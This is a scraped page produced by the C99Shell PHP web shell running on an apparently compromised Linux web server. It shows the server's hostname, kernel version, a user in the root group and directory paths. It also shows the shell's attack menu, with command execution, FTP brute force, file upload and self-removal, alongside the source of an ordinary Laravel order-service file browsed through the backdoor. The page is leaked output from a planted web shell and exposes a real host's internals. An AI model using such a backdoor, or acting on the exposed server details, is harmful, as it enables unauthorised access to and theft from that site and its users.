!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Services/Admin/Order/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderService.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Services\Admin\Order;

use 
App\Models\Transaction;
use 
App\Models\User;
use 
Carbon\Carbon;
use 
Modules\Currency\Entities\Currency;
use 
Modules\Plan\Entities\Plan;

class 
OrderService
{
    public function 
create(): array
    {
        
$data['plans'] = Plan::latest()->get();
        
$data['users'] = User::latest()->with('userPlan')->get();
        
$data['currencies'] = Currency::latest()->get();

        return 
$data;
    }

    public function 
store(object $request): object
    
{
        
$transaction Transaction::create([
            
'order_id' => rand(1000999999999),
            
'transaction_id' => uniqid('tr_'),
            
'plan_id' => $request->plan,
            
'user_id' => $request->user,
            
'payment_provider' => $request->payment_provider,
            
'amount' => $request->amount,
            
'currency_symbol' => $request->currency_symbol,
            
'usd_amount' => $request->usd_amount,
            
'payment_status' => $request->payment_status,
            
'manual_payment_id' => null,
        ]);

        return 
$transaction;
    }

    public function 
update(object $requestobject $transaction): object
    
{
        
$transaction->update([
            
'plan_id' => $request->plan,
            
'user_id' => $request->user,
            
'payment_provider' => $request->payment_provider,
            
'amount' => $request->amount,
            
'currency_symbol' => $request->currency_symbol,
            
'usd_amount' => $request->usd_amount,
            
'payment_status' => $request->payment_status,
        ]);

        return 
$transaction;
    }

    public function 
edit(object $transaction): array
    {
        
$data['plans'] = Plan::latest()->get();
        
$data['users'] = User::latest()->get();
        
$data['currencies'] = Currency::latest()->get();
        
$data['transaction'] = $transaction;

        return 
$data;
    }

    public function 
updatePlan(object $transaction): array
    {
        
$data['plans'] = Plan::latest()->get();
        
$data['user'] = User::where('id'$transaction->user_id)->with('userPlan')->first();
        
$data['plan'] = Plan::where('id'$transaction->plan_id)->first();
        
$data['date'] = Carbon::now();

        return 
$data;
    }

    public function 
updatePlanData(object $requestobject $user): object
    
{
        
$date date('Y-m-d'strtotime($request->expired_date));
        
$user->userPlan->update([
            
'ad_limit' => $request->ad_limit,
            
'current_plan_id' => $request->user_plan,
            
'featured_limit' => $request->featured_limit,
            
'badge' => $request->badge == '1' true false,
            
'expired_date' => $date,
        ]);

        
$plan Plan::where('id'$user->userPlan->current_plan_id)->first();

        return 
$plan;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--